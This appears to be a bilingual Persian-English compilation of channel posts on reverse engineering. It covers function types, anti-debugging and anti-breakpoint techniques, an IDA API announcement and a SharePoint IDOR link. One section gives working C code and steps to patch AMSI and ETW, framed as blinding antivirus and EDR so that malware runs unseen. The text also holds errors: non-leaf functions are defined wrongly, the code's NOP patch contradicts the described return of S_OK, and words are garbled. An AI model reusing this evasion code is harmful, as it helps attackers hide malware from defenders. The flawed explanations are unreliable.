In my research on SharePoint web parts, I discovered a misconfiguration that leads to IDOR (Insecure Direct Object Reference) vulnerabilities. This issue not only exposes the application to IDOR risks but can also pave the way for other vulnerabilities, some of which may be even more severe. Custom web parts often exacerbate these security concerns, highlighting the importance of proper configuration and security practices in SharePoint environments.


https://x.com/horamah_71/status/1956012083809579226?t=i8ZO9qW812udOMrwKA33JQ&s=19

https://medium.com/@horamah.71/understanding-sharepoint-web-parts-and-idor-vulnerabilities-e9ca172d7f2b

توابع تو در تو:

وقتی که تابعی وسط کار خودش یک تابع دیگه رو صدا بزنه

Nested Function Calls:

When a function calls another function in the middle of its work

توابع بازگشتی:

تابعی که خودش خودشو صدا میزنه

Recursive Functions

A function that calls itself.

Leaf Functions:

تابعی که هیچ تابع دیگه ای رو صدا نمیزنه

Leaf Functions:

A function that does not call any other function

Leaf Functions:

ساده ترن نیازی به ذخیره ی ادرس بازگشت یا ذخیره رجیستر های خاص ندارن (اگه ساختار خاص نیاز داشته باشه)

Simpler ones do not need to store a return address or store special registers (if the specific structure requires it)


Non-Leaf Functions:

تابعی که خودش یا هیچ تابع دیگه ای رو صدا نمیزنه

A function that does not call itself or any other function


معمولا باید ساختار استک فریم بسازن و از رجیسترهای خودشون مراقبت کنن چون ممکنه تابع هایی که صدا میزنن مقدار رجیستر ها رو تغییر بدن

They usually have to create a stack frame structure and take care of their own registers because the functions they call may change the values of the registers

Leaf Functions:

add _numbers:
mov eax, edi
add eax, esi
ret

🌑 بدون استفاده از استک
🌕 فقط جمع میکنه و برمیگرده

🌑No stack usage
🌕Just collect and return

Function Prologue :
در ابتدای تابع

At the beginning of the function

push rbp
mov rbp, rsp
sub rsp, N


Function Epilogue

در انتهای تابع

At the end of the function

mov rsp, rbp
pop rbp
ret

معمولا این مراحل توسط کامپایلر به صورت خودکار تولید میشن و در توابع Non-Leaf ضروری اند

These steps are usually generated automatically by the compiler and are necessary in non-leaf functions

وقتی توی دیس اسمبلر مثل Ghidra یا IDA میبینیم

When we see in a disassembler like Ghidra or IDA

mov rax, rdi

یعنی داره پارامتر اول رو توی خروجی میزاره

That means it is putting the first parameter in the output

add rax, rsi

پارامتر دوم اضافه میشه

The second parameter is added

🎯 Anti-Breakpoint Techniques

این تکنیک‌ها برای این طراحی شدن که دیباگر نتونه به‌ راحتی روی کد شما Breakpoint بزاره یا اگه بزاره برنامه متوجه بشه و واکنش نشون بده




1️⃣ تشخیص Breakpoint نرم‌افزاری (Software BP)

در دیباگرهایی مثل OllyDbg یا x64dbg وقتی یک Breakpoint نرم‌افزاری گذاشته میشه دیباگر دستور فعلی رو با دستور INT 3 (opcode: 0xCC) جایگزین میکنه

📌 ایده: ما می‌تونیم کدهای خودمون رو بررسی کنیم و ببینیم آیا جایی که نباید 0xCC قرار گرفته یا نه

مثال اسمبلی:

mov eax, [target_addr]
cmp byte ptr [eax], 0xCC
je debugger_found

2️⃣ استفاده از Checksum روی کد

برنامه به صورت دوره‌ای یک Checksum از باینری یا بخش‌های حساس خودش میگیره
اگر دیباگر یا مهاجم تغییراتی ایجاد کرده باشه (مثلا گذاشتن Breakpoint) Checksum تغییر میکنه

مثال:

محاسبه MD5/SHA1 از بخش .text

مقایسه با مقدار ذخیره‌شده داخل برنامه





3️⃣ پاک کردن Breakpoint قبل از اجرا

بعضی برنامه‌ها قبل از اجرای قسمت حساس تمام کد خودشون رو اسکن میکنن و اگر 0xCC پیدا کردن اون رو به دستور اصلی برمیگردونن




4️⃣ استفاده از Breakpoint سخت‌افزاری (Hardware BP) برای ضدحمله

بعضی بدافزارها برعکس عمل می‌کنن: خودشون Breakpoint سخت‌افزاری روی کد میذارن تا اگر دیباگر بخواد دخالت کنه باعث رفتار غیرمنتظره بشه




5️⃣ استفاده از API برای تشخیص تغییرات

در ویندوز با APIهایی مثل VirtualQuery یا GetThreadContext میشه متوجه شد که آیا کدی تغییر کرده یا Breakpoint فعال شده




🎯 Anti-Breakpoint Techniques

These techniques are designed so that the debugger can’t easily set breakpoints on your code or if it does the program detects it and reacts



1️⃣ Detecting Software Breakpoints (Software BP)

In debuggers like OllyDbg or x64dbg when a software breakpoint is set the debugger replaces the current instruction with an INT 3 instruction (opcode: 0xCC)

📌 Idea: We can check our own code to see if there’s a 0xCC where it shouldn’t be

Assembly example:

mov eax, [target_addr]
cmp byte ptr [eax], 0xCC
je debugger_found

2️⃣ Using Checksum on the Code

The program periodically calculates a checksum of its binary or sensitive sections
If a debugger or attacker has modified something (e.g. by setting a breakpoint) the checksum will change


Example:

Calculate MD5/SHA1 of the .text section

Compare it with a stored value inside the program





3️⃣ Clearing Breakpoints Before Execution

Some programs scan all their own code before executing sensitive parts and if they find a 0xCC they restore it back to the original instruction




4️⃣ Using Hardware Breakpoints for Counterattack

Some malware does the opposite: it sets hardware breakpoints on its own code so that if a debugger tries to interfere, it causes unexpected behavior




5️⃣ Using APIs to Detect Changes

In Windows APIs like VirtualQuery or GetThreadContext can be used to detect whether the code has been modified or if a breakpoint is active

مرجع اصلی برای یادگیری IDA Pro از پایه تا استفاده پیشرفته و اسکریپت‌نویسی

The ultimate reference for learning IDA Pro from basics to advanced usage and noscripting

استفاده از RDTSC (Read Time-Stamp Counter)

دستور RDTSC تعداد سیکل‌های CPU از زمان روشن شدن سیستم رو برمیگردونه
در حالت عادی اختلاف زمانی بین دو دستور پشت سر هم خیلی کم هست
ولی وقتی دیباگر در حالت Single-Step اجرا کنه این اختلاف چند هزار برابر میشه

rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
cmp eax, 500
jae debugger_detected





Using RDTSC (Read Time-Stamp Counter)

The RDTSC instruction returns the number of CPU cycles since the system was powered on
Normally the time difference between two consecutive RDTSC instructions is very small
But when a debugger runs the program in Single-Step mode this difference becomes thousands of times larger

rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
cmp eax, 500
jae debugger_detected



🛡️ ETW Bypass + AMSI Patch

«کور کردن چشم ویندوز قبل از اجرای کد»



🎯 مشکل چیه؟

وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیش‌فرض ویندوز هنوز می‌تونن گزارش بدن:

1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسه‌ها فراخوانی APIها و حتی Syscallها لاگ میکنه


2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه






💡 راه‌حل:

ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه

AMSI Patch:

تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه





🧬 مراحل کلی ETW Bypass:

1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll


2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)


3 اطمینان از اعمال پچ قبل از شروع عملیات حساس






🧬 مراحل کلی AMSI Patch:

1 گرفتن هندل به amsi.dll


2 یافتن آدرس AmsiScanBuffer


3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)


4 بعد از این هر کد مشکوک سالم گزارش میشه






🛠️ نمونه کد AMSI Patch (C):

#include <windows.h>
#include <stdio.h>

void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}

int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}

✅ مزایا:

جلوی لاگ شدن فعالیت‌های مشکوک توسط ویندوز گرفته میشه

جلوی اسکن محتوای اسکریپت‌ها توسط AV رو میگیره

ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن





⚠️ چالش‌ها:

بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن

باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری




🛡️ ETW Bypass + AMSI Patch

Blinding Windows before executing code




🎯 What’s the problem?

When you run malware or a malicious noscript on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:

1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls


2 AMSI (Antimalware Scan Interface)
Before executing noscript-based code like PowerShell or VBA it sends the content to the AV for scanning






💡 The solution:

ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged


AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything




🧬 General Steps for ETW Bypass:

1 Get the address of EtwEventWrite from ntdll.dll


2 Patch the first few bytes (usually xor rax, rax; ret)


3 Ensure the patch is applied before starting sensitive operations






🧬 General Steps for AMSI Patch:

1 Get a handle to amsi.dll


2 Find the address of AmsiScanBuffer


3 Change the first instruction to return 0 (S_OK)


4 After this, any suspicious code reported as clean






🛠️ Sample AMSI Patch Code (C):

#include <windows.h>
#include <stdio.h>

void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}

int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}

✅ Advantages:

Prevents Windows from logging suspicious activities

Stops the AV from scanning noscript contents

Combining ETW + AMSI patch can blind EDR/XDR solutions





⚠️ Challenges:

Many EDRs monitor attempts to patch these functions

Needs to be combined with Direct Syscalls or Manual Unhooking for stability

استفاده از API مخصوص دیباگرها

در ویندوز اگر روی یک Thread فلگ Trap Flag (TF) فعال باشه یعنی دیباگر در حالت Single-Step قرار داره
با تابع GetThreadContext میشه مقدار رجیستر EFLAGS/RFLAGS رو خوند و بررسی کرد:

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(GetCurrentThread(), &ctx);

if (ctx.EFlags & 0x100) // Trap Flag فعال
{
    // دیباگر در حالت Single-Step
}

Using Debugger-Specific APIs

In Windows if the Trap Flag (TF) is enabled on a thread it means the debugger is in Single-Step mode
By using the GetThreadContext function you can read the value of the EFLAGS/RFLAGS register and check it:

CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(GetCurrentThread(), &ctx);

if (ctx.EFlags & 0x100) // Trap Flag is enabled
{
// Debugger is in Single-Step mode
}

تغییر کد در حین اجرا Self-Modifying Code

وقتی کد وسط اجرا تغییر کنه Single-Step باعث میشه دیباگر نسخه کش‌شده در حافظه رو نمایش بده و نه نسخه واقعی
این تفاوت میتونه برای شناسایی دیباگر استفاده بشه




استفاده از دستورهای غیرمستند Undocumented Instructions

برخی دستورها مثل ICEBP (opcode: F1) برای دیباگرها مشکل‌ساز هستن
در حالت عادی سیستم با این دستور رفتار خاصی نمیکنه ولی وقتی دیباگر فعال باشه باعث توقف آنی میشه




وقفه‌های زمان‌بندی‌شده Timed Exceptions

برنامه میتونه در یک حلقه عملیات زمان‌بر رو چک کنه
اگر طولانی‌تر از حد مجاز بشه (به دلیل Single-Step) برنامه متوجه میشه که داره دیباگ میشه



Self-Modifying Code
When code is modified during execution Single-Step debugging can cause the debugger to display the cached version of the code in memory instead of the actual modified version
This discrepancy can be used to detect the presence of a debugger




Using Undocumented Instructions
Some instructions such as ICEBP (opcode: F1) can cause issues for debuggers
Under normal circumstances the system doesn’t show any special behavior for these instructions, but when a debugger is active executing them will trigger an immediate break




Timed Exceptions
A program can monitor the execution time of certain loops or operations
If execution takes longer than a predefined threshold (due to Single-Step debugging) the program can detect that it’s being debugged

🔴 یکی از قابلیتهای IDA Pro امکان اسکریپت نویسی در این ابزار هستش که باهاش میتونید، کارهاتون رو خودکار کنید.

برای اسکریپت نویسی معمولا از IDA Python SDK استفاده میشه. اما مشکلی که داره اینه که برای کارهای ساده، نیاز به کدنویسی تکراری و طولانی هستش.

شرکت Hex-Rays برای حل این مشکل IDA Domain API رو بصورت متن باز معرفی کرده که امکان اسکریپت نویسی در پایتون، برای IDA رو ساده تر میکنه.

فعلا نسخه ی v0.1.0 این ابزار برای IDA 9.1 در دسترس هستش که میتونید از اینجا بهش دسترسی داشته باشید.

کلمه ی Domain اشاره به حوزه ی مهندسی معکوس داره. در این حوزه مفاهیمی مانند توابع، انواع و ... جزء مفاهیم کلیدی هستن و Domain API استفاده از این مفاهیم رو ساده تر میکنه.

در حقیقت Domain API روی IDA Python SDK ساخته شده و یک لایه‌ی انتزاعی تمیز و متمرکز ارائه میده. هدفش جایگزینی SDK نیست، بلکه مکملش هستش. میتونید هر دو رو کنار هم استفاده کنید: سادگی Domain API برای وظایف روزمره، و انعطاف کامل SDK برای کارهای پیچیده.

#مهندسی_معکوس
#ReverseEngineering #IDAPro #SDK

🆔 @onhex_ir
➡️ ALL Link